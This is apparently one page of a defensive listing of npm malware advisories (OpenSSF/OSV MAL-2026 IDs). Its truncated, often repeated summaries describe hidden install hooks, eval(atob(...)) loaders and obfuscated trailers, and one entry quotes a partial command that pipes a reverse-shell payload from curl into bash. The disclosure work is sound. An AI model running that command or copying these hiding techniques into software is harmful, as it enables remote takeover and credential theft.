npm security reports, with evidence.
Investigate malicious npm packages and AI-agent policy findings. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision. Malware findings and policy violations are labelled separately.
Security reports — page 533
Updated 24 Oct 2026, 10:22 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-6439 blocks this version. On `npm install`, the package's postinstall script (scripts/install-check.cjs) fetches a JSON config from https://log-taker...
OpenSSF/OSV malware advisory MAL-2026-6439 blocks this version. On `npm install`, the package's postinstall script (scripts/install-check.cjs) fetches a JSON config from https://log-taker...
OpenSSF/OSV malware advisory MAL-2026-6439 blocks this version. On `npm install`, the package's postinstall script (scripts/install-check.cjs) fetches a JSON config from https://log-taker...
OpenSSF/OSV malware advisory MAL-2026-11309 blocks this version. No a static rule matches and no traced-code findings are available for this package version. With no concrete behavioral e...
OpenSSF/OSV malware advisory MAL-2026-5623 blocks this version. No suspicious code, lifecycle scripts, network destinations, credential reads, or obfuscation were observed in this package...
OpenSSF/OSV malware advisory MAL-2026-5623 blocks this version. No suspicious code, lifecycle scripts, network destinations, credential reads, or obfuscation were observed in this package...
OpenSSF/OSV malware advisory MAL-2026-5623 blocks this version. No suspicious code, lifecycle scripts, network destinations, credential reads, or obfuscation were observed in this package...
OpenSSF/OSV malware advisory MAL-2026-5623 blocks this version. No suspicious code, lifecycle scripts, network destinations, credential reads, or obfuscation were observed in this package...
OpenSSF/OSV malware advisory MAL-2026-11517 blocks this version. The package's main module exports a `command()` function that runs `/bin/bash -c 'curl https://reverse-shell.sh/10.0.64.14...
OpenSSF/OSV malware advisory MAL-2026-11500 blocks this version. index.js appends an eval(atob(...)) blob to an otherwise legitimate Tailwind plugin. On require(), the decoded loader quer...
OpenSSF/OSV malware advisory MAL-2026-11487 blocks this version. index.js hides a base64-encoded payload after a long run of tab characters and executes it via eval(atob(...)) at module l...
OpenSSF/OSV malware advisory MAL-2026-11500 blocks this version. index.js appends an eval(atob(...)) blob to an otherwise legitimate Tailwind plugin. On require(), the decoded loader quer...
OpenSSF/OSV malware advisory MAL-2026-11270 blocks this version. playground/src/routes/auth.routes.js contains an obfuscated trailer appended after the normal router export. The trailer a...
OpenSSF/OSV malware advisory MAL-2026-11193 blocks this version. This npm package (a name resemblance to the WordPress LiteSpeed Cache plugin, which is not an npm module) ships a preinsta...
OpenSSF/OSV malware advisory MAL-2026-11270 blocks this version. LPM AI assessed this version as suspicious; the assessments disagree. playground/src/routes/auth.routes.js contains an obf...
OpenSSF/OSV malware advisory MAL-2026-11181 blocks this version. The package is advertised as a docs/landing site for 'Theta Data API', but its main entry (index.js) re-exports a single v...
OpenSSF/OSV malware advisory MAL-2026-11168 blocks this version. Package is advertised as a small PostCSS plugin that injects CSS variables and adds -webkit- prefixes, but its `main` (ind...
OpenSSF/OSV malware advisory MAL-2026-11181 blocks this version. The package is advertised as a docs/landing site for 'Theta Data API', but its main entry (index.js) re-exports a single v...
OpenSSF/OSV malware advisory MAL-2026-11270 blocks this version. playground/src/routes/auth.routes.js contains an obfuscated trailer appended after the normal router export. The trailer a...
OpenSSF/OSV malware advisory MAL-2026-11270 blocks this version. playground/src/routes/auth.routes.js contains an obfuscated trailer appended after the normal router export. The trailer a...
OpenSSF/OSV malware advisory MAL-2026-11270 blocks this version. playground/src/routes/auth.routes.js contains an obfuscated trailer appended after the normal router export. The trailer a...
OpenSSF/OSV malware advisory MAL-2026-11270 blocks this version. playground/src/routes/auth.routes.js contains an obfuscated trailer appended after the normal router export. The trailer a...
OpenSSF/OSV malware advisory MAL-2026-11270 blocks this version. playground/src/routes/auth.routes.js contains an obfuscated trailer appended after the normal router export. The trailer a...
OpenSSF/OSV malware advisory MAL-2026-11270 blocks this version. playground/src/routes/auth.routes.js contains an obfuscated trailer appended after the normal router export. The trailer a...
OpenSSF/OSV malware advisory MAL-2026-11193 blocks this version. This npm package (a name resemblance to the WordPress LiteSpeed Cache plugin, which is not an npm module) ships a preinsta...